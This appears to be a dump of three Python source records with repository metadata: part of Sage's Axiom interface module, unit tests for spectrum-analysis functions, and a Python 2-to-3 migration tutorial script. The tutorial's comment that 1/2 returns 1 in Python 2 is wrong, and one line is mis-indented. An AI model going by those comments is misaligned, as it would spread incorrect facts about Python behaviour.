     s = s[:i].rstrip().lstrip(\"\\n\")\n        if '\\n' not in s:\n            s = s.strip()\n        return s\n\n    def _eval_line(self, line, reformat=True, allow_use_file=False,\n                   wait_for_prompt=True, restart_if_needed=False):\n        \"\"\"\n        EXAMPLES::\n\n            sage: print axiom._eval_line('2+2')  #optional - axiom\n              4\n                                                       Type: PositiveInteger\n        \"\"\"\n        if not wait_for_prompt:\n            return Expect._eval_line(self, line)\n        line = line.rstrip().rstrip(';')\n        if line == '':\n            return ''\n        if len(line) > 3000:\n            raise NotImplementedError, \"evaluation of long input lines (>3000 characters) in Axiom not yet implemented.\"\n        if self._expect is None:\n            self._start()\n        if allow_use_file and self.__eval_using_file_cutoff and \\\n                            len(line) > self.__eval_using_file_cutoff:\n            return self._eval_line_using_file(line)\n        try:\n            E = self._expect\n            # debug\n            self._synchronize(cmd='1+%s\\n')\n            verbose(\"in = '%s'\"%line,level=3)\n            E.sendline(line)\n            self._expect.expect(self._prompt)\n            out = self._expect.before\n            # debug\n            verbose(\"out = '%s'\"%out,level=3)\n        except EOF:\n          if self._quit_string() in line:\n             return ''\n        except KeyboardInterrupt:\n            self._keyboard_interrupt()\n\n        if '>> Error detected within library code:' in out or \\\n           'Cannot find a definition or applicable library operation named' in out:\n            raise RuntimeError, out\n\n        if not reformat:\n            return out\n        if 'error' in out:\n            return out\n        #out = out.lstrip()\n        i = out.find('\\n')\n        out = out[i+1:]\n        outs = out.split(\"\\n\")\n        i = 0\n        outline = ''\n        for line in outs:\n            line = line.rstrip()\n            # print \"'%s'\"%line\n            if line[:4] == '   (':\n                i = line.find('(')\n                i += line[i:].find(')')\n                if line[i+1:] == \"\":\n                    i = 0\n                    outs = outs[1:]\n                break;\n        out = \"\\n\".join(line[i+1:] for line in outs[1:])\n        return out\n\n    # define relational operators\n    def _equality_symbol(self):\n        \"\"\"equality symbol\n\n        EXAMPLES::\n\n            sage: a = axiom(x==6); a    #optional axiom\n            x= 6\n            sage: a = fricas(x==6); a   #optional fricas\n            x= 6\n        \"\"\"\n        return \"=\"\n\n\nclass Axiom(PanAxiom):\n    def __reduce__(self):\n        \"\"\"\n        EXAMPLES::\n\n            sage: axiom.__reduce__()\n            (<function reduce_load_Axiom at 0x...>, ())\n            sage: f, args = _\n            sage: f(*args)\n            Axiom\n        \"\"\"\n        return reduce_load_Axiom, tuple([])\n\n    def _function_class(self):\n        \"\"\"\n        Return the AxiomExpectFunction class.\n\n        EXAMPLES::\n\n            sage: axiom._function_class()\n            <class 'sage.interfaces.axiom.AxiomExpectFunction'>\n            sage: type(axiom.gcd)\n            <class 'sage.interfaces.axiom.AxiomExpectFunction'>\n        \"\"\"\n        return AxiomExpectFunction\n\n    def _object_class(self):\n        \"\"\"\n        EXAMPLES::\n\n            sage: axiom._object_class()\n            <class 'sage.interfaces.axiom.AxiomElement'>\n            sage: type(axiom(2)) #optional - axiom\n            <class 'sage.interfaces.axiom.AxiomElement'>\n        \"\"\"\n        return AxiomElement\n\n    def _function_element_class(self):\n        \"\"\"\n        Returns the Axiom function element class.\n\n        EXAMPLES::\n\n            sage: axiom._function_element_class()\n            <class 'sage.interfaces.axiom.AxiomFunctionElement'>\n            sage: type(axiom(2).gcd) #optional - axiom\n            <class 'sage.interfaces.axiom.AxiomFunctionElement'>\n        \"\"\"\n        return AxiomFunctionElement\n\n    def console(self):\n        \"\"\"\n        Spawn a new Axiom command-line session.\n\n        EXAMPLES::\n\n            sage: axiom.console() #not tested\n                                    AXIOM Computer Algebra System\n                                    Version: Axiom (January 2009)\n                           Timestamp: Sunday January 25, 2009 at 07:08:54\n            -----------------------------------------------------------------------------\n               Issue )copyright to view copyright notices.\n               Issue )summary for a summary of useful system commands.\n               Issue )quit to leave AXIOM and return to shell.\n            -----------------------------------------------------------------------------\n        \"\"\"\n        axiom_console()\n\nclass PanAxiomElement(ExpectElement):\n    def __call__(self, x):\n        \"\"\"\n        EXAMPLES::\n\n            sage: f = axiom(x+2) #optional - axiom\n            sage: f(2)           #optional - axiom\n            4\n        \"\"\"\n        self._check_valid()\n        P = self.parent()\n        return P('%s(%s)'%(self.name(), x))\n\n    def __cmp__(self, other):\n        \"\"\"\n        EXAMPLES::\n\n            sage: two = axiom(2)  #optional - axiom\n            sage: two == 2        #optional - axiom\n            True\n            sage: two == 3        #optional - axiom\n            False\n            sage: two < 3         #optional - axiom\n            True\n            sage: two > 1         #optional - axiom\n            True\n\n            sage: a = axiom(1); b = axiom(2)  #optional - axiom\n            sage: a == b                      #optional - axiom\n            False\n            sage: a < b                       #optional - axiom\n            True\n            sage: a > b                       #optional - axiom\n            False\n            sage: b < a                       #optional - axiom\n            False\n            sage: b > a                       #optional - axiom\n            True\n\n        We can also compare more complicated object such as functions::\n\n            sage: f = axiom('sin(x)'); g = axiom('cos(x)')    #optional - axiom\n            sage: f == g                                      #optional - axiom\n            False\n\n        \"\"\"\n        P = self.parent()\n        if 'true' in P.eval(\"(%s = %s) :: Boolean\"%(self.name(),other.name())):\n            return 0\n        elif 'true' in P.eval(\"(%s < %s) :: Boolean\"%(self.name(), other.name())):\n            return -1\n        elif 'true' in P.eval(\"(%s > %s) :: Boolean\"%(self.name(),other.name())):\n            return 1\n\n        # everything is supposed to be comparable in Python, so we define\n        # the comparison thus when no comparable in interfaced system.\n        if (hash(self) < hash(other)):\n            return -1\n        else:\n            return 1\n\n    def type(self):\n        \"\"\"\n        Returns the type of an AxiomElement.\n\n        EXAMPLES::\n\n            sage: axiom(x+2).type()  #optional - axiom\n            Polynomial Integer\n        \"\"\"\n        P = self._check_valid()\n        s = P._eval_line(self.name())\n        i = s.rfind('Type:')\n        return P(s[i+5:].strip())\n\n    def __len__(self):\n        \"\"\"\n        Return the length of a list.\n\n        EXAMPLES::\n\n            sage: v = axiom('[x^i for i in 0..5]')            # optional - axiom\n            sage: len(v)                                      # optional - axiom\n            6\n        \"\"\"\n        P = self._check_valid()\n        s = P.eval('# %s '%self.name())\n        i = s.rfind('Type')\n        return int(s[:i-1])\n\n    def __getitem__(self, n):\n        r\"\"\"\n        Return the n-th element of this list.\n\n        .. note::\n\n           Lists are 1-based.\n\n        EXAMPLES::\n\n            sage: v = axiom('[i*x^i for i in 0..5]'); v          # optional - axiom\n                     2   3   4   5\n              [0,x,2x ,3x ,4x ,5x ]\n            sage: v[4]                                           # optional - axiom\n                3\n              3x\n            sage: v[1]                                           # optional - axiom\n            0\n            sage: v[10]                                          # optional - axiom\n            Traceback (most recent call last):\n            ...\n            IndexError: index out of range\n        \"\"\"\n        n = int(n)\n        if n <= 0 or n > len(self):\n            raise IndexError, \"index out of range\"\n        P = self._check_valid()\n        if not isinstance(n, tuple):\n            return P.new('%s(%s)'%(self._name, n))\n        else:\n            return P.new('%s(%s)'%(self._name, str(n)[1:-1]))\n\n    def comma(self, *args):\n        \"\"\"\n        Returns a Axiom tuple from self and args.\n\n        EXAMPLES::\n\n            sage: two = axiom(2)  #optional - axiom\n            sage: two.comma(3)    #optional - axiom\n            [2,3]\n            sage: two.comma(3,4)  #optional - axiom\n            [2,3,4]\n            sage: _.type()        #optional - axiom\n            Tuple PositiveInteger\n\n            sage: two = fricas(2)  #optional - fricas\n            sage: two.comma(3)     #optional - fricas\n            [2,3]\n            sage: two.comma(3,4)   #optional - fricas\n            [2,3,4]\n            sage: _.type()         #optional - fricas\n            Tuple(PositiveInteger)\n\n        \"\"\"\n        P = self._check_valid()\n        args = list(args)\n        for i, arg in enumerate(args):\n            if not isinstance(arg, AxiomElement) or arg.parent() is not P:\n                args[i] = P(arg)\n        cmd = \"(\" + \",\".join([x.name() for x in [self]+args]) + \")\"\n        return P(cmd)\n\n    def _latex_(self):\n        r\"\"\"\n        EXAMPLES::\n\n            sage: a = axiom(1/2) #optional - axiom\n            sage: latex(a)       #optional - axiom\n            \\frac{1}{2}\n\n            sage: a = fricas(1/2) #optional - fricas\n            sage: latex(a)        #optional - fricas\n            1 \\over 2\n        \"\"\"\n        self._check_valid()\n        P = self.parent()\n        s = P._eval_line('outputAsTex(%s)'%self.name(), reformat=False)\n        if not '$$' in s:\n            raise RuntimeError, \"Error texing axiom object.\"\n        i = s.find('$$')\n        j = s.rfind('$$')\n        s = s[i+2:j]\n        s = multiple_replace({'\\r':'', '\\n':' ',\n                              ' \\\\sp ':'^',\n                              '\\\\arcsin ':'\\\\sin^{-1} ',\n                              '\\\\arccos ':'\\\\cos^{-1} ',\n                              '\\\\arctan ':'\\\\tan^{-1} '},\n            re.sub(r'\\\\leqno\\(.*?\\)','',s)) # no eq number!\n        return s\n\n    def as_type(self, type):\n        \"\"\"\n        Returns self as type.\n\n        EXAMPLES::\n\n            sage: a = axiom(1.2); a            #optional - axiom\n            1.2\n            sage: a.as_type(axiom.DoubleFloat) #optional - axiom\n            1.2\n            sage: _.type()                     #optional - axiom\n            DoubleFloat\n\n        ::\n\n            sage: a = fricas(1.2); a            #optional - fricas\n            1.2\n            sage: a.as_type(fricas.DoubleFloat) #optional - fricas\n            1.2\n            sage: _.type()                      #optional - fricas\n            DoubleFloat\n\n        \"\"\"\n        P = self._check_valid()\n        type = P(type)\n        return P.new(\"%s :: %s\"%(self.name(), type.name()))\n\n    def unparsed_input_form(self):\n        \"\"\"\n        Get the linear string representation of this object, if possible\n        (often it isn't).\n\n        EXAMPLES::\n\n            sage: a = axiom(x^2+1); a     #optional - axiom\n               2\n              x  + 1\n            sage: a.unparsed_input_form() #optional - axiom\n            'x*x+1'\n\n            sage: a = fricas(x^2+1)       #optional - fricas\n            sage: a.unparsed_input_form() #optional - fricas\n            'x^2+1'\n        \"\"\"\n        P = self._check_valid()\n        s = P.eval('unparse(%s::InputForm)'%self._name)\n        if 'translation error' in s or 'Cannot convert' in s:\n            raise NotImplementedError\n        s = multiple_replace({'\\r\\n':'', # fix stupid Fortran-ish\n                              'DSIN(':'sin(',\n                              'DCOS(':'cos(',\n                              'DTAN(':'tan(',\n                              'DSINH(':'sinh('}, s)\n        r = re.search(r'\"(.*)\"',s)\n        if r:\n            return r.groups(0)[0]\n        else:\n            return s\n\n\n    def _sage_(self):\n        \"\"\"\n        Convert self to a Sage object.\n\n        EXAMPLES::\n\n            sage: a = axiom(1/2); a #optional - axiom\n              1\n              -\n              2\n            sage: a.sage()          #optional - axiom\n            1/2\n            sage: _.parent()        #optional - axiom\n            Rational Field\n\n            sage: gp(axiom(1/2))    #optional - axiom\n            1/2\n\n            sage: fricas(1/2).sage() #optional - fricas\n            1/2\n\n        DoubleFloat's in Axiom are converted to be in RDF in Sage.\n\n        ::\n\n            sage: axiom(2.0).as_type('DoubleFloat').sage()  #optional - axiom\n            2.0\n            sage: _.parent() #optional - axiom\n            Real Double Field\n\n\n            sage: axiom(2.1234)._sage_() #optional - axiom\n            2.12340000000000\n            sage: _.parent()             #optional - axiom\n            Real Field with 53 bits of precision\n            sage: a = RealField(100)(pi)\n            sage: axiom(a)._sage_()      #optional - axiom\n            3.1415926535897932384626433833\n            sage: _.parent()             #optional - axiom\n            Real Field with 100 bits of precision\n            sage: axiom(a)._sage_() == a #optional - axiom\n            True\n            sage: axiom(2.0)._sage_() #optional - axiom\n            2.00000000000000\n            sage: _.parent() #optional  - axiom\n            Real Field with 53 bits of precision\n\n\n        We can also convert Axiom's polynomials to Sage polynomials.\n            sage: a = axiom(x^2 + 1)   #optional - axiom\n            sage: a.type()             #optional - axiom\n            Polynomial Integer\n            sage: a.sage()             #optional - axiom\n            x^2 + 1\n            sage: _.parent()           #optional - axiom\n            Univariate Polynomial Ring in x over Integer Ring\n            sage: axiom('x^2 + y^2 + 1/2').sage()    #optional - axiom\n            y^2 + x^2 + 1/2\n            sage: _.parent()                         #optional - axiom\n            Multivariate Polynomial Ring in y, x over Rational Field\n\n\n        \"\"\"\n        P = self._check_valid()\n        type = str(self.type())\n\n        if type in [\"Type\", \"Domain\"]:\n            return self._sage_domain()\n\n        if type == \"Float\":\n            from sage.rings.all import RealField, ZZ\n            prec = max(self.mantissa().length()._sage_(), 53)\n            R = RealField(prec)\n            x,e,b = self.unparsed_input_form().lstrip('float(').rstrip(')').split(',')\n            return R(ZZ(x)*ZZ(b)**ZZ(e))\n        elif type == \"DoubleFloat\":\n            from sage.rings.all import RDF\n            return RDF(repr(self))\n        elif type.startswith('Polynomial'):\n            from sage.rings.all import PolynomialRing\n            base_ring = P(type.lstrip('Polynomial '))._sage_domain()\n            vars = str(self.variables())[1:-1]\n            R = PolynomialRing(base_ring, vars)\n            return R(self.unparsed_input_form())\n\n        #If all else fails, try using the unparsed input form\n        try:\n            import sage.misc.sage_eval\n            return sage.misc.sage_eval.sage_eval(self.unparsed_input_form())\n        except StandardError:\n            raise NotImplementedError\n\n\n    def _sage_domain(self):\n        \"\"\"\n        A helper function for converting Axiom domains to the corresponding\n        Sage object.\n\n        EXAMPLES::\n\n            sage: axiom('Integer').sage()  #optional - axiom\n            Integer Ring\n            sage: fricas('Integer').sage() #optional - fricas\n            Integer Ring\n\n            sage: axiom('Fraction Integer').sage()  #optional - axiom\n            Rational Field\n            sage: fricas('Fraction Integer').sage() #optional - fricas\n            Rational Field\n\n            sage: axiom('DoubleFloat').sage()  #optional - axiom\n            Real Double Field\n            sage: fricas('DoubleFloat').sage() #optional - fricas\n            Real Double Field\n\n        \"\"\"\n        P = self._check_valid()\n        name = str(self)\n        if name == 'Integer':\n            from sage.rings.all import ZZ\n            return ZZ\n        elif name == 'DoubleFloat':\n            from sage.rings.all import RDF\n            return RDF\n        elif name.startswith('Fraction '):\n            return P(name.lstrip('Fraction '))._sage_domain().fraction_field()\n\n        raise NotImplementedError\n\n\n\nclass AxiomElement(PanAxiomElement):\n    pass\n\nclass PanAxiomFunctionElement(FunctionElement):\n    def __init__(self, object, name):\n        \"\"\"\n        TESTS::\n\n            sage: a = axiom('\"Hello\"') #optional - axiom\n            sage: a.upperCase_q        #optional - axiom\n            upperCase?\n            sage: a.upperCase_e        #optional - axiom\n            upperCase!\n            sage: a.upperCase_e()      #optional - axiom\n            \"HELLO\"\n        \"\"\"\n        if name.endswith(\"_q\"):\n            name = name[:-2] + \"?\"\n        elif name.endswith(\"_e\"):\n            name = name[:-2] + \"!\"\n        FunctionElement.__init__(self, object, name)\n\nclass AxiomFunctionElement(PanAxiomFunctionElement):\n    pass\n\nclass PanAxiomExpectFunction(ExpectFunction):\n    def __init__(self, parent, name):\n        \"\"\"\n        TESTS::\n\n            sage: axiom.upperCase_q\n            upperCase?\n            sage: axiom.upperCase_e\n            upperCase!\n        \"\"\"\n        if name.endswith(\"_q\"):\n            name = name[:-2] + \"?\"\n        elif name.endswith(\"_e\"):\n            name = name[:-2] + \"!\"\n        ExpectFunction.__init__(self, parent, name)\n\nclass AxiomExpectFunction(PanAxiomExpectFunction):\n    pass\n\ndef is_AxiomElement(x):\n    \"\"\"\n    Returns True of x is of type AxiomElement.\n\n    EXAMPLES::\n\n        sage: from sage.interfaces.axiom import is_AxiomElement\n        sage: is_AxiomElement(axiom(2)) #optional - axiom\n        True\n        sage: is_AxiomElement(2)\n        False\n    \"\"\"\n    return isinstance(x, AxiomElement)\n\n#Instances\naxiom = Axiom(name='axiom')\n\ndef reduce_load_Axiom():\n    \"\"\"\n    Returns the Axiom interface object defined in\n    sage.interfaces.axiom.\n\n    EXAMPLES::\n\n        sage: from sage.interfaces.axiom import reduce_load_Axiom\n        sage: reduce_load_Axiom()\n        Axiom\n    \"\"\"\n    return axiom\n\nimport os\ndef axiom_console():\n    \"\"\"\n    Spawn a new Axiom command-line session.\n\n    EXAMPLES::\n\n        sage: axiom_console() #not tested\n                                AXIOM Computer Algebra System\n                                Version: Axiom (January 2009)\n                       Timestamp: Sunday January 25, 2009 at 07:08:54\n        -----------------------------------------------------------------------------\n           Issue )copyright to view copyright notices.\n           Issue )summary for a summary of useful system commands.\n           Issue )quit to leave AXIOM and return to shell.\n        -----------------------------------------------------------------------------\n\n    \"\"\"\n    os.system('axiom -nox')\n\n", "meta": {"hexsha": "0ac5d58f9104acbe0e013f85538fa5b37079e2a2", "size": 32335, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/sage/interfaces/axiom.py", "max_stars_repo_name": "bopopescu/sage-5", "max_stars_repo_head_hexsha": "9d85b34956ca2edd55af307f99c5d3859acd30bf", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2021-08-20T00:30:35.000Z", "max_stars_repo_stars_event_max_datetime": "2021-11-17T10:54:00.000Z", "max_issues_repo_path": "src/sage/interfaces/axiom.py", "max_issues_repo_name": "bopopescu/sage-5", "max_issues_repo_head_hexsha": "9d85b34956ca2edd55af307f99c5d3859acd30bf", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/sage/interfaces/axiom.py", "max_forks_repo_name": "bopopescu/sage-5", "max_forks_repo_head_hexsha": "9d85b34956ca2edd55af307f99c5d3859acd30bf", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.5463414634, "max_line_length": 120, "alphanum_fraction": 0.5015617752, "include": true, "reason": "import sage,from sage", "num_tokens": 7690, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4843800842769844, "lm_q2_score": 0.11920292202211755, "lm_q1q2_score": 0.0577395214151361}}
{"text": "import spectrum_functions\nimport unittest\nimport numpy as np\n\nclass SpectrumFunctionsTest(unittest.TestCase):\n    \n    def test2DSpecX(self):\n        '''an error is raised if check_spectrum is given a 2D x input'''\n        x = np.arange(10).reshape((2, 5))\n        y = np.arange(10)\n        with self.assertRaisesRegex(ValueError,\n           'x is not a 1 dimensional array'):\n           spectrum_functions.check_spectrum(x, y)\n\n    def test2DSpecY(self):\n        '''an error is raised if check_spectrum is given a 2D y input'''\n        x = np.arange(10)\n        y = np.arange(10).reshape((2, 5))\n        with self.assertRaisesRegex(ValueError,\n           'y is not a 1 dimensional array'):\n           spectrum_functions.check_spectrum(x, y)\n\n    def testXYlenDifferent(self):\n        '''an error is raised if x and y are not the same length as each \n        other'''\n        x = np.arange(10)\n        y = np.arange(9)\n        with self.assertRaisesRegex(ValueError,\n           'x and y are not the same length'):\n           spectrum_functions.check_spectrum(x, y)\n\n    def testSliceRange(self):\n        '''slice_range works properly in normal use case'''\n        x = np.arange(10)\n        y = np.arange(10)\n        start_stop = [5, 8]\n        self.assertTrue(np.array_equal(\n                            np.array([5, 6, 7, 8]),\n                            spectrum_functions.slice_range(x, start_stop, y)\n                        ))\n\n    def testSliceRangeYCal(self):\n        '''slice_range works properly with y non-integer values'''\n        x = np.arange(10)\n        y = np.arange(10)/10.\n        start_stop = [0.3, 0.7]\n        self.assertTrue(np.array_equal(\n                            np.array([3, 4, 5, 6, 7]),\n                            spectrum_functions.slice_range(x, start_stop, y)\n                        ))\n\n    def testSliceRangeStopOutside(self):\n        '''slice_range works properly when stop is greater than max(y)'''\n        x = np.arange(10)\n        y = np.arange(10)\n        start_stop = [5, 12]\n        self.assertTrue(np.array_equal(\n                            np.array([5, 6, 7, 8, 9]),\n                            spectrum_functions.slice_range(x, start_stop, y)\n                        ))\n\n    def testSliceRangeStartOutside(self):\n        '''slice_range works properly when stop is greater than max(y)'''\n        x = np.arange(10)\n        y = np.arange(10)\n        start_stop = [-2, 5]\n        self.assertTrue(np.array_equal(\n                            np.array([0, 1, 2, 3, 4, 5]),\n                            spectrum_functions.slice_range(x, start_stop, y)\n                        ))\n\n    def testSliceRangeYNegative(self):\n        '''slice_range works properly when y contains negative values'''\n        x = np.arange(10)\n        y = np.arange(10) - 5\n        start_stop = [-7, 0]\n        self.assertTrue(np.array_equal(\n                            np.array([0, 1, 2, 3, 4, 5]),\n                            spectrum_functions.slice_range(x, start_stop, y)\n                        ))\n\n    def testSliceRangeStartStopDims(self):\n        '''raise error in slice_range if start_stop are not a 2 element list or\n        tuple or array'''\n        x = np.arange(10)\n        y = np.arange(10) - 5\n        start_stop = [-7, 0, 5]\n        with self.assertRaisesRegex(ValueError,\n           'start_stop is not a 2 element list'):\n           spectrum_functions.slice_range(x, start_stop, y)\n\n    def testSliceRangeYDecreasing(self):\n        '''slice_range works when y is monotonically decreasing'''\n        x = np.arange(10)\n        y = np.flip(np.arange(10))\n        start_stop = [5, 2]\n        self.assertTrue(np.array_equal(\n            np.array([4, 5, 6, 7]),\n            spectrum_functions.slice_range(x, start_stop, y)\n            ))\n\n    def testNormalize1Index(self):\n        '''Normalize works as expected when a single index is given'''\n        x = np.arange(10)\n        ind = 2\n        np.testing.assert_allclose(\n            x/2., \n            spectrum_functions.normalize(x, ind)\n            )\n\n    def testNormalizeFloatIndex(self):\n        '''Normalize throws an error when given a float index'''\n        x = np.arange(10)\n        ind = 2.4\n        with self.assertRaises(ValueError):\n           spectrum_functions.normalize(x, ind)\n\n    def testNormalize1IndexTuple(self):\n        '''Normalize throws an error if a single index inside a sequence\n         is given'''\n        x = np.arange(10)\n        ind = [3]\n        with self.assertRaises(ValueError):\n           spectrum_functions.normalize(x, ind)\n\n    def testNormalize2Indices(self):\n        '''Normalize works as expected when two indices are given'''\n        x = np.arange(10)\n        ind = (2, 5)\n        np.testing.assert_allclose(\n            x/9., \n            spectrum_functions.normalize(x, ind)\n            )\n        \n    def testNormalizeMoreIndices(self):\n        '''Normalize raises an error if more than two indices are passed as\n        input'''\n        x = np.arange(10)\n        ind = (2, 5, 3)\n        with self.assertRaises(ValueError):\n           spectrum_functions.normalize(x, ind)\n\n    def testFindFWHMInt(self):\n        '''\n        find_fw finds the right fw given a simple function\n        '''\n        y = np.array([1, 1, 2, 4, 2, 1, 1])\n        x = np.arange(7)\n        fwhm = 2.\n        self.assertEqual(fwhm, spectrum_functions.find_fw(y, 1, 3, 0.5))\n    \n    def testFindFWHMDecimal(self):\n        '''\n        find_fw finds the right fw given a simple function, answer is a fraction of the dispersion\n        '''\n        y = np.array([1, 1, 2, 5, 2, 1, 1])\n        x = np.arange(7)\n        fwhm = 5/3.\n        np.testing.assert_almost_equal(spectrum_functions.find_fw(y, 1, 3, 0.5), fwhm)\n        \n    def testFindFWAsymmetrical(self):\n        '''\n        find_fw finds the right fw given an asymmetrical function\n        '''\n        y = np.array([1, 1, 3, 5, 2, 1, 1])\n        x = np.arange(7)\n        fwhm = 2.5 / 3 + 1 + 0.25\n        self.assertEqual(fwhm, spectrum_functions.find_fw(y, 1, 3, 0.5))\n    \n    def testFindFWAsymmetricalRight(self):\n        '''\n        find_fw finds the right fw given an asymmetrical function, higher on the right side\n        '''\n        y = np.array([1, 1, 2, 5, 3, 1, 1])\n        x = np.arange(7)\n        fwhm = 2.5 / 3 + 1 + 0.25\n        self.assertEqual(fwhm, spectrum_functions.find_fw(y, 1, 3, 0.5))\n    \n    \nif __name__ == '__main__':\n    unittest.main()\n", "meta": {"hexsha": "6df198dfb5da12e2f22336bcd9c5bf91fff977be", "size": 6422, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/spectrum_functions_test.py", "max_stars_repo_name": "shmouses/SpectrumImageAnalysisPy", "max_stars_repo_head_hexsha": "4374e604fb7b493ba84b9675041015b87084e07f", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 3, "max_stars_repo_stars_event_min_datetime": "2019-07-09T21:14:59.000Z", "max_stars_repo_stars_event_max_datetime": "2020-09-03T02:24:03.000Z", "max_issues_repo_path": "src/spectrum_functions_test.py", "max_issues_repo_name": "shmouses/SpectrumImageAnalysisPy", "max_issues_repo_head_hexsha": "4374e604fb7b493ba84b9675041015b87084e07f", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 38, "max_issues_repo_issues_event_min_datetime": "2017-09-15T15:24:03.000Z", "max_issues_repo_issues_event_max_datetime": "2021-01-07T22:38:14.000Z", "max_forks_repo_path": "src/spectrum_functions_test.py", "max_forks_repo_name": "icbicket/SpectrumImageAnalysisPy", "max_forks_repo_head_hexsha": "4374e604fb7b493ba84b9675041015b87084e07f", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 9, "max_forks_repo_forks_event_min_datetime": "2017-09-15T02:40:32.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-10T00:03:26.000Z", "avg_line_length": 35.2857142857, "max_line_length": 98, "alphanum_fraction": 0.5518530053, "include": true, "reason": "import numpy", "num_tokens": 1593, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.42250463481418826, "lm_q2_score": 0.1366083777234372, "lm_q1q2_score": 0.05771767274259953}}
{"text": "# Migrating from Python 2 to Python 3 \n# Examples of Chapter 1\n\n# The next code gets an error in Python 2\n# (If you try with the GUI, this error was fixed at the lastest versions)\n\nprint 'Spain in Spanish is written Espa\u00f1a'\n\n# In Python 3, dont gets a error\n\nprint('Spain in Spanish is written Espa\u00f1a')\n\n#\n# Print is a function:\n#\n\n# Python 2:\n\nprint \"hello world\"\n\n# Python 3\n\nprint(\"hello world\")\n\n#\n# Divisions:\n#\n\n# In Python 2 \n\n1/2 # returns 1\n1/2.0 # return 0.5\n\n# In Python 3\n\n1/2 #return 0.5\n4/2 #return 2.0\n\n#\n# Input:\n#\n\n# In Python 2:\n\nmy_input=input(\"Introduce anything: \") \ntype(my_input) # return <type 'int'>\n\nmy_input=raw_input(\"Introduce anything: \")\ntype(my_input) # return <type 'str'>\n\n# In Python 3:\n\nmy_input=input(\"Introduce anything: \")\ntype(my_input) #return <class 'str'>\n\n#\n# Next is a function\n#\n\n# In Python 2:\n\nx = iter([1, 2, 3])\nx.next() # is valid\nnext(x) # is valid\n\n# In Python 3:\n\nx = iter([1, 2, 3])\nx.next() # NOT is valid\nnext(x) # is valid\n\n#\n# Differences in type comparison\n#\n\n# In Python 2:\n\n(1,2)>[1,2] # return True\n[1,2,3,4,5] > \"hey\" # return False\n\"Hey\" > 0 # return True\n\n# In Python 3:\n\n(1,2)>[1,2] # gets errror\n[1,2,3,4,5] > \"hey\" # gets errror\n\"Hey\" > 0 # gets errror\n\n#\n#Exceptions\n#\n\n# In Python 2:\n\nraise IOError, \"activate file exception\" # is correct\nraise IOError(\"activate file exception\") # is correct\n\n# In Python 3:\n\nraise IOError, \"activate file exception\" # gets errror\nraise IOError(\"activate file exception\") # is correct\n\n#\n# news in Python 3.0\n#\n\n# new unicode identifiers:\nEspa\u00f1a=True\n\u03c0 = math.pi\n\n# Keyword-Only Arguments\n\ndef f(a,*b,c):\n return a+len(b)+c\n\nf(1,c=2) # return 3\nf(1,2,c=2) # return 4\n\n# Advanced unpacking\n \n a, b, *rest = range(10)\n \n#\n# news in Python 3.1\n#\n\n# Format function\n\nformat(1234567, ',d') # return '1,234,567'\nformat(1234567.89, ',.2f') # return '1,234,567.89'\n\n# with statement\n\nwith open('my_file.txt') as infile, open('a.out', 'w') as outfile:\n     for line in infile:\n         if '<critical>' in line:\n             outfile.write(line)\n\t\t\t \n#\n# news in Python 3.2\n#\t\t\n\n# New module argparse\n\nimport argparse\nparser = argparse.ArgumentParser() \nparser.add_argument('action',choices = ['curl'])\nparser.add_argument('-m',required = False)\nparser.add_argument('targets',metavar = 'HOSTNAME',nargs = '+') \n\ncmd = 'curl -m 10 pythonconverter.com'\nresult = parser.parse_args(cmd.split())\nresult.action # return 'curl'\nresult.targets # return ['pythonconverter.com']\nresult.m # return '10'\n\n#\n# news in Python 3.3\n#\t\n\n# yield from\n\ndef g(x):\n yield from range(x, 0, -1)\n yield from range(x, 10, 1)\nprint(list(g(5))) # return [5, 4, 3, 2, 1, 5, 6, 7, 8, 9]\n\n# Managing the IP address\n\nimport ipaddress\nipaddress.ip_address('192.168.0.1') # return IPv4Address('192.168.0.1')\n\n#\n# news in Python 3.5\n#\t\n\n# New operator for matrix multiplication: @\n\nimport numpy\nx = numpy.ones(3)\nx # return array([ 1., 1., 1.])\nm = numpy.eye(3)\nm # return \n#array([[ 1., 0., 0.],\n#[ 0., 1., 0.],\n#[ 0., 0., 1.]])\n\nx @ m # return \narray([ 1., 1., 1.])\n\n# Additional Unpacking Generalizations\n\nprint(*[1], *[2], 3) # return 1 2 3\n\ndict(**{'x': 1}, y=2, **{'z': 3}) # return {'x': 1, 'y': 2, 'z': 3}\n\n#\n# news in Python 3.6\n#\t\n\n1_000_000 # return 1000000\n\nversion = \"3\"\nf\"Python {version}\" # return 'Python 3'\n", "meta": {"hexsha": "0d0b7b89e48abebcaf187aeee206720f369d1dec", "size": 3284, "ext": "py", "lang": "Python", "max_stars_repo_path": "Chapter_1/chapter_1.py", "max_stars_repo_name": "PacktPublishing/N-A-Migrating-from-Python-2-to-Python-3", "max_stars_repo_head_hexsha": "aee470d7a36a9d5ff480d0b90e7a7b6927d84b01", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Chapter_1/chapter_1.py", "max_issues_repo_name": "PacktPublishing/N-A-Migrating-from-Python-2-to-Python-3", "max_issues_repo_head_hexsha": "aee470d7a36a9d5ff480d0b90e7a7b6927d84b01", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Chapter_1/chapter_1.py", "max_forks_repo_name": "PacktPublishing/N-A-Migrating-from-Python-2-to-Python-3", "max_forks_repo_head_hexsha": "aee470d7a36a9d5ff480d0b90e7a7b6927d84b01", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, 